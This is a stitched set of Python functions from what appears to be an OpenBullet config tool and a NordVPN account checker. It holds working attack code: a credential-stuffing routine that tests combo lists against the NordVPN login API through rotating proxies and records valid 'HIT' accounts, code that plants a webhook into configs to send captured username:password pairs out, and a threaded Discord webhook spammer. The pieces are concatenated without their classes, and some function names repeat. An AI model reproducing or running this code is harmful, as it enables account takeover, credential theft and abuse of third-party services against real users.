def _duplicateConfigRemove(self): _setTitle( '[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [ConfigRemove]') _clear() title = colors['lpurple'] + """ ╔═══════════════════════════════════════════════════════════════════════╗ ██████╗ ██████╗ ███╗ ██╗███████╗██╗ ██████╗ ██╔════╝██╔═══██╗████╗ ██║██╔════╝██║██╔════╝ ██║ ██║ ██║██╔██╗ ██║█████╗ ██║██║ ███╗ ██║ ██║ ██║██║╚██╗██║██╔══╝ ██║██║ ██║ ╚██████╗╚██████╔╝██║ ╚████║██║ ██║╚██████╔╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝ ╚═══════════════════════════════════════════════════════════════════════╝ """ print(title) unique = [] for config in self.configs: if isfile(config): filehash = md5(open(config, 'rb').read()).hexdigest() if filehash not in unique: unique.append(filehash) else: remove(config) _printText(colors['bcyan'], colors['lpurple'], 'REMOVED', config) print('') _printText(colors['bcyan'], colors['lpurple'], 'FINISHED', 'Process done!')
def _menu(self): _setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [Menu]') _clear() title = colors['lpurple'] + """ ╔═══════════════════════════════════════════════════════════════════════╗ ███╗ ███╗███████╗███╗ ██╗██╗ ██╗ ████╗ ████║██╔════╝████╗ ██║██║ ██║ ██╔████╔██║█████╗ ██╔██╗ ██║██║ ██║ ██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║ ██║ ██║ ╚═╝ ██║███████╗██║ ╚████║╚██████╔╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═══════════════════════════════════════════════════════════════════════╝ """ print(title) options = ['Remove Duplicated Webhooks', 'Remove Duplicated Configs'] counter = 0 for option in options: counter += 1 _printText(colors['bcyan'], colors['lpurple'], str(counter), option) print('') selected = int( input( f'{colors["lpurple"]}[>] {colors["bcyan"]}Select something:{colors["lpurple"]} ' )) if selected == 1: self._duplicateWebhookRemove() elif selected == 2: self._duplicateConfigRemove() else: self._menu()
def _removeWebhook(self): for i in range(len(self.webhook_cfgs)): if (self.webhook_cfgs[i].endswith('.loli')) or ( self.webhook_cfgs[i].endswith('.anom')): _copyFile(f'[GetWebhooks]/{self.webhook_cfgs[i]}', f'[RemoveWebhooks]/{self.webhook_cfgs[i]}') _printText(colors['bcyan'], colors['lpurple'], 'COPIED', self.webhook_cfgs[i]) for j in range(len(self.webhooks)): self._remove(f'[RemoveWebhooks]/{self.webhook_cfgs[i]}', self.webhooks[j]) _printText(colors['bcyan'], colors['lpurple'], 'REMOVED', self.webhook_cfgs[i])
def _getWebhooks(self): open('[GetWebhooks]/webhooks.txt', 'w',encoding='utf8',errors='ignore').close() for config in self.configs: current_content = _readFile(f'[Configs]/{config}','r',1) try: for line in current_content: if 'https://discordapp.com/api/webhooks/' in line: webhook = 'https://'+line.split('https://')[1].replace('"','').strip() _printText(colors['bcyan'],colors['lpurple'],'FOUND',config) with open(f'[GetWebhooks]/webhooks.txt','a',encoding='utf8',errors='ignore') as f: f.write(f'{webhook}\n') _copyFile(f'[Configs]/{config}',f'[GetWebhooks]/{config}') _printText(colors['bcyan'],colors['lpurple'],'COPIED',config) except Exception: pass
def _start(self): threads = [] for webhook_url in self.webhooks: run = True while run: if active_count() <= self.threads: thread = Thread(target=self._spam, args=(webhook_url, )) threads.append(thread) thread.start() run = False for x in threads: x.join() print('') _printText(colors['yellow'], colors['lpurple'], 'FINISHED', 'Process done!')
def _addWebhook(self): webhook_content = ''' REQUEST POST "''' + self.webhook_url + '''" CONTENT "{\\"content\\":\\">>> ```<USER>:<PASS>```\\"}" CONTENTTYPE "application/json" HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" HEADER "Pragma: no-cache" HEADER "Accept: */*"''' for config in self.configs: if config.endswith('.loli') or config.endswith('.anom'): _copyFile(f'[Configs]/{config}', f'[AddWebhook]/{config}') with open(f'[AddWebhook]/{config}', 'a', encoding='utf8', errors='ignore') as f: f.write(webhook_content) _printText(colors['bcyan'], colors['lpurple'], 'ADDED', config)
def _duplicateWebhookRemove(self): _setTitle( '[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [WebhookRemove]' ) _clear() title = colors['lpurple'] + """ ╔═══════════════════════════════════════════════════════════════════════╗ ██╗ ██╗███████╗██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗ ██║ ██║██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔═══██╗██║ ██╔╝ ██║ █╗ ██║█████╗ ██████╔╝███████║██║ ██║██║ ██║█████╔╝ ██║███╗██║██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║██╔═██╗ ╚███╔███╔╝███████╗██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ██╗ ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═══════════════════════════════════════════════════════════════════════╝ """ print(title) _printText(colors['bcyan'], colors['lpurple'], 'BEFORE', str(len(self.webhooks))) cleaned_file = set(self.webhooks) open('[GetWebhooks]/webhooks.txt', 'w', encoding='utf8', errors='ignore').close() for line in cleaned_file: with open(f'[GetWebhooks]/webhooks.txt', 'a', encoding='utf8') as f: f.write(f'{line}\n') _printText(colors['bcyan'], colors['lpurple'], 'AFTER', str(len(cleaned_file))) print('') _printText(colors['bcyan'], colors['lpurple'], 'FINISHED', 'Process done!')
def _spam(self, webhook_url): headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Pragma': 'no-cache', 'Accept': '*/*', 'Content-Type': 'application/json' } payload = {'content': self.message} proxy = _getRandomProxy(self.use_proxy, self.proxy_type, 'proxies.txt') try: response = self.session.post(webhook_url, headers=headers, proxies=proxy, json=payload) webhook_token = webhook_url.split('/')[-1] if response.status_code == 401: _printText(colors['red'], colors['lpurple'], 'INVALID', webhook_token) elif response.status_code == 404: _printText(colors['yellow'], colors['lpurple'], 'UNKNOWN', webhook_token) elif response.status_code == 204: _printText(colors['bcyan'], colors['lpurple'], 'SENT', webhook_token) else: self._spam(webhook_url) except Exception: self._spam(webhook_url)
def _start(self): combos = _readFile('combos.txt', 'r') t = Thread(target=self._titleUpdate) t.start() threads = [] for combo in combos: run = True user = combo.split(':')[0] password = combo.split(':')[1] while run: if active_count() <= self.threads: thread = Thread(target=self._check, args=(user, password)) threads.append(thread) thread.start() run = False for x in threads: x.join() print('') _printText(colors['bcyan'], colors['yellow'], 'FINISHED', 'Process done!')
def _menu(self): _setTitle('[OPENBULLET CONFIG TOOL] ^| [Menu]') _clear() title = colors['lpurple'] + """ ╔═══════════════════════════════════════════════════════════════════════╗ ███╗ ███╗███████╗███╗ ██╗██╗ ██╗ ████╗ ████║██╔════╝████╗ ██║██║ ██║ ██╔████╔██║█████╗ ██╔██╗ ██║██║ ██║ ██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║ ██║ ██║ ╚═╝ ██║███████╗██║ ╚████║╚██████╔╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝ ╚═══════════════════════════════════════════════════════════════════════╝ """ print(title) self.configs = listdir("[Configs]/") self.webhooks = _readFile('[GetWebhooks]/webhooks.txt', 'r', 1) self.webhook_cfgs = listdir("[GetWebhooks]/") options = [ 'Get Webhooks', 'Remove Duplicates', 'Spam Discord Webhooks', 'Remove Webhooks', 'Add Webhook', 'Replace Webhooks' ] counter = 0 for option in options: counter += 1 _printText(colors['bcyan'], colors['lpurple'], str(counter), option) print('') selected = int( input( f'{colors["lpurple"]}[>] {colors["bcyan"]}Select something:{colors["lpurple"]} ' )) if selected == 1: GetWebhooks(self.configs)._start() sleep(2) self._menu() elif selected == 2: DuplicateRemover(self.configs, self.webhooks)._menu() sleep(2) self._menu() elif selected == 3: SpamWebhooks(self.webhooks)._start() sleep(2) self._menu() elif selected == 4: RemoveWebhook(self.configs, self.webhooks, self.webhook_cfgs)._start() sleep(2) self._menu() elif selected == 5: AddWebhook(self.configs)._start() sleep(2) self._menu() elif selected == 6: ReplaceWebhook(self.configs, self.webhooks, self.webhook_cfgs)._start() sleep(2) self._menu() else: self._menu()
def _check(self, user, password): useragent = _getRandomUserAgent('useragents.txt') headers = { 'User-Agent': useragent, 'Content-Type': 'application/json', 'Host': 'api.nordvpn.com', 'Accept': 'application/json', 'DNT': '1', 'Origin': 'chrome-extension://fjoaledfpmneenckfbpdfhkmimnjocfa' } proxy = _getRandomProxy(self.use_proxy, self.proxy_type, 'proxies.txt') payload = {'username': user, 'password': password} try: response = self.session.post( 'https://api.nordvpn.com/v1/users/tokens', json=payload, proxies=proxy, headers=headers) if "'code': 100103" in response.text: self.bad += 1 _printText(colors['bcyan'], colors['red'], 'BAD', f'{user}:{password}') with open('[Results]/bads.txt', 'a', encoding='utf8') as f: f.write(f'{user}:{password}\n') elif "'code': 101301" in response.text: self.bad += 1 _printText(colors['bcyan'], colors['red'], 'BAD', f'{user}:{password}') with open('[Results]/bads.txt', 'a', encoding='utf8') as f: f.write(f'{user}:{password}\n') elif 'user_id' in response.text: expires_at = response.json()['expires_at'] expires_at = datetime.strptime(expires_at, "%Y-%m-%d %H:%M:%S") curr_time = datetime.strptime(_getCurrentTime(), "%Y-%m-%d %H:%M:%S") if expires_at < curr_time: self.expired += 1 _printText(colors['bcyan'], colors['red'], 'EXPIRED', f'{user}:{password} [{expires_at}]') with open('[Results]/expireds.txt', 'a', encoding='utf8') as f: f.write(f'{user}:{password} [{str(expires_at)}\n') else: self.hit += 1 _printText(colors['bcyan'], colors['green'], 'HIT', f'{user}:{password} [{expires_at}]') with open('[Results]/hits.txt', 'a', encoding='utf8') as f: f.write(f'{user}:{password}\n') with open('[Results]/detailed_hits.txt', 'a', encoding='utf8') as f: f.write(f'{user}:{password} [{str(expires_at)}]\n') elif '429 Too Many Requests' in response.text: self.retries += 1 self._check(user, password) else: self.retries += 1 self._check(user, password) except Exception: self.retries += 1 self._check(user, password)